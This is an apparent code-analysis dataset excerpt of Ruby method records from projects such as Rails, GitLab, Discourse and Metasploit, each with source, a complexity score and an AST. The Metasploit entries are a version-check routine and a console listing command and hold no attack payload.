Settings\"]}]}]}]}]}","id":"bcbecf55-2740-4d9c-a9de-ed6efcf4a97b"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_list.rb","start_line":49,"raw_source":"def has_no_unread_badge?(topic)\n page.has_no_css?(\"#{topic_list_item_unread_badge(topic)}\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_unread_badge?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_list_item_unread_badge\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}]}]}","id":"3e461b72-3a6e-4df8-a455-7d65570687a5"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":2458,"raw_source":"def has_at_least_two_parts\n current_parts = parts.select { |p| !p.marked_for_destruction? }\n errors.add(:parts, \"must have at least two parts\") if current_parts.size < 2\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_at_least_two_parts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parts\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"marked_for_destruction?\"]},\"!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_parts\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"parts\"]},{\"type\":\"str\",\"children\":[\"must have at least two parts\"]}]},null]}]}]}","id":"968ebc55-112a-4877-8844-91cdaba16602"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_related_epic_links_to_issue_links_spec.rb","start_line":113,"raw_source":"def create_related_epic_link(source:, target:, link_type:)\n related_epic_links.create!(\n source_id: source.id,\n target_id: target.id,\n link_type: link_type\n )\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_related_epic_link\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"source\"]},{\"type\":\"kwarg\",\"children\":[\"target\"]},{\"type\":\"kwarg\",\"children\":[\"link_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"related_epic_links\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_type\"]},{\"type\":\"lvar\",\"children\":[\"link_type\"]}]}]}]}]}","id":"d5ad7aec-30ff-497a-8979-bebbf339e317"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/markup_helper.rb","start_line":159,"raw_source":"def render_wiki_content_context(wiki, wiki_page, context)\n context.merge(\n pipeline: :wiki,\n wiki: wiki,\n repository: wiki.repository,\n page_slug: wiki_page.slug,\n issuable_reference_expansion_enabled: true,\n requested_path: wiki_page.path\n ).merge(render_wiki_content_context_container(wiki))\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_wiki_content_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wiki\"]},{\"type\":\"arg\",\"children\":[\"wiki_page\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"sym\",\"children\":[\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wiki\"]},{\"type\":\"lvar\",\"children\":[\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki\"]},\"repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_page\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuable_reference_expansion_enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requested_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_page\"]},\"path\"]}]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"render_wiki_content_context_container\",{\"type\":\"lvar\",\"children\":[\"wiki\"]}]}]}]}","id":"dc3da45b-d18c-40a7-95b1-99e9d357fb2b"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/acts/favoritable.rb","start_line":91,"raw_source":"def remove_favoriting_user(user)\n favorites.where(user:).delete_all\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_favoriting_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"favorites\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"delete_all\"]}]}","id":"1b84a844-392b-4611-893f-d0e2e7616add"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/report.rb","start_line":201,"raw_source":"def prev_start_date\n self.start_date - (self.end_date - self.start_date)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_start_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start_date\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"end_date\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start_date\"]}]}]}]}]}","id":"2c2edaf2-1db2-4525-9e51-a2e78dc88e69"} {"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/cli.rb","start_line":332,"raw_source":"def run\n puts \"== Available Lexers ==\"\n\n Lexer.all.sort_by(&:tag).each do |lexer|\n desc = \"#{lexer.desc}\"\n if lexer.aliases.any?\n desc << \" [aliases: #{lexer.aliases.join(',')}]\"\n end\n puts \"%s: %s\" % [lexer.tag, desc]\n puts\n end\n end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"== Available Lexers ==\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Lexer\"]},\"all\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lexer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"desc\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"aliases\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desc\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" [aliases: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"aliases\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%s: %s\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"tag\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]}]}]}]}]}","id":"c82b3a78-b145-4ecf-9920-20fe3e6436f8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/serializers/deployment_entity.rb","start_line":72,"raw_source":"def label\n \"#{project.full_path}-#{environment.name}-#{iid}-#{short_sha}\"\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iid\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"short_sha\"]}]}]}]}","id":"4dc47ee4-74de-4044-91e4-ac047fba8ef9"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb","start_line":106,"raw_source":"def try_to_deserialize_with_previous_encrypted_types(value)\n previous_types.each.with_index do |type, index|\n break type.deserialize(value)\n rescue ActiveRecord::Encryption::Errors::Base => error\n handle_deserialize_error(error, value) if index == previous_types.length - 1\n end\n end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_to_deserialize_with_previous_encrypted_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_types\"]},\"each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"break\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"Errors\"]},\"Base\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_types\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_deserialize_error\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]},null]}]}]}","id":"31f06a7f-1015-4a87-aeb8-bd1f81b82d17"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb","start_line":341,"raw_source":"def check\n node_id = get_node\n\n unless node_id.nil?\n return Msf::Exploit::CheckCode::Appears\n end\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, \"index.php\")\n })\n\n if res and res.code == 200 and res.body.to_s =~ /\"simpleversion\": \"v=5/\n return Msf::Exploit::CheckCode::Appears\n end\n\n return Msf::Exploit::CheckCode::Safe\n end","complexity_score":18.85,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_id\",{\"type\":\"send\",\"children\":[null,\"get_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_id\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"simpleversion\\\": \\\"v=5\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"670061ee-90e5-4560-9301-5119c259af6f"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":938,"raw_source":"def set_cross_origin_opener_policy_header\n if current_user.present? && SiteSetting.cross_origin_opener_unsafe_none_groups_map.any? &&\n current_user.in_any_groups?(SiteSetting.cross_origin_opener_unsafe_none_groups_map)\n response.headers[\"Cross-Origin-Opener-Policy\"] = \"unsafe-none\"\n else\n response.headers[\"Cross-Origin-Opener-Policy\"] = SiteSetting.cross_origin_opener_policy_header\n end\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cross_origin_opener_policy_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_unsafe_none_groups_map\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_unsafe_none_groups_map\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cross-Origin-Opener-Policy\"]},{\"type\":\"str\",\"children\":[\"unsafe-none\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cross-Origin-Opener-Policy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_policy_header\"]}]}]}]}","id":"bd38582f-22c8-4ea3-b398-3b5167528072"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/pajamas/single_stat_component_preview.rb","start_line":17,"raw_source":"def default(\n title: 'Single stat',\n stat_value: '9,001',\n unit: '',\n title_icon: 'chart',\n meta_text: '',\n meta_icon: 'check-circle',\n variant: :default\n )\n render Pajamas::SingleStatComponent.new(\n title: title,\n stat_value: stat_value,\n unit: unit,\n title_icon: title_icon,\n meta_text: meta_text,\n meta_icon: meta_icon,\n variant: variant\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"title\",{\"type\":\"str\",\"children\":[\"Single stat\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"stat_value\",{\"type\":\"str\",\"children\":[\"9,001\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"unit\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"title_icon\",{\"type\":\"str\",\"children\":[\"chart\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"meta_text\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"meta_icon\",{\"type\":\"str\",\"children\":[\"check-circle\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"SingleStatComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stat_value\"]},{\"type\":\"lvar\",\"children\":[\"stat_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit\"]},{\"type\":\"lvar\",\"children\":[\"unit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title_icon\"]},{\"type\":\"lvar\",\"children\":[\"title_icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta_text\"]},{\"type\":\"lvar\",\"children\":[\"meta_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta_icon\"]},{\"type\":\"lvar\",\"children\":[\"meta_icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]}]}]}]}]}]}","id":"6f6ef506-8d34-48e5-a981-1e3fe4023d02"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/feature.rb","start_line":81,"raw_source":"def api_client\n @api_client ||= Runtime::API::Client.as_admin\n rescue Runtime::API::Client::AuthorizationError => e\n raise AuthorizationError, \"Administrator access is required to enable/disable feature flags. #{e.message}\"\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"api_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Client\"]},\"as_admin\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Client\"]},\"AuthorizationError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AuthorizationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Administrator access is required to enable/disable feature flags. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"dd611697-4d81-4d39-aa54-f8f05fa1f361"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/adapters/gzip_stream.rb","start_line":19,"raw_source":"def each_blob\n stream.seek(0)\n\n until stream.eof?\n gzip(stream) do |gz|\n yield gz.read, gz.orig_name\n unused = gz.unused&.length.to_i\n # pos has already reached to EOF at the moment\n # We rewind the pos to the top of unused files\n # to read next gzip stream, to support multistream archives\n # https://golang.org/src/compress/gzip/gunzip.go#L117\n stream.seek(-unused, IO::SEEK_CUR)\n end\n end\n end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each_blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"seek\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"eof?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gzip\",{\"type\":\"send\",\"children\":[null,\"stream\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gz\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"read\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"orig_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unused\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"unused\"]},\"length\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"seek\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unused\"]},\"-@\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"SEEK_CUR\"]}]}]}]}]}]}]}","id":"7bc627d6-8fa5-49e4-a0c6-d17a7642e337"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/configurable.rb","start_line":26,"raw_source":"def self.included(mod)\n mod.extend(ClassMethods)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}","id":"117b8fc3-9b40-4b29-9190-9ee36372b954"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb","start_line":405,"raw_source":"def cmd__historymanager(*args)\n if args.include?('-h') || args.include?('--help')\n cmd__historymanager_help\n return false\n end\n\n opts = {}\n @@_historymanager_opts.parse(args) do |opt, idx, val|\n case opt\n when '-l', '--list'\n opts[:list] = true\n when '-d', '--debug'\n opts[:debug] = val.nil? ? true : val.downcase.start_with?(/t|y/)\n end\n end\n\n if opts.empty?\n opts[:list] = true\n end\n\n if opts.key?(:debug)\n framework.history_manager._debug = opts[:debug]\n print_status(\"HistoryManager debugging is now #{opts[:debug] ? 'on' : 'off'}\")\n end\n\n if opts[:list]\n table = Rex::Text::Table.new(\n 'Header' => 'History contexts',\n 'Indent' => 1,\n 'Columns' => ['Id', 'File', 'Name']\n )\n framework.history_manager._contexts.each.with_index do |context, id|\n table << [id, context[:history_file], context[:name]]\n end\n\n if table.rows.empty?\n print_status(\"No history contexts present.\")\n else\n print_line(table.to_s)\n end\n end\n end","complexity_score":60.35,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd__historymanager\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"--help\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd__historymanager_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@_historymanager_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"str\",\"children\":[\"--list\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"str\",\"children\":[\"--debug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"debug\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"nil?\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"downcase\"]},\"start_with?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"t|y\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"list\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"debug\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"history_manager\"]},\"_debug=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HistoryManager debugging is now 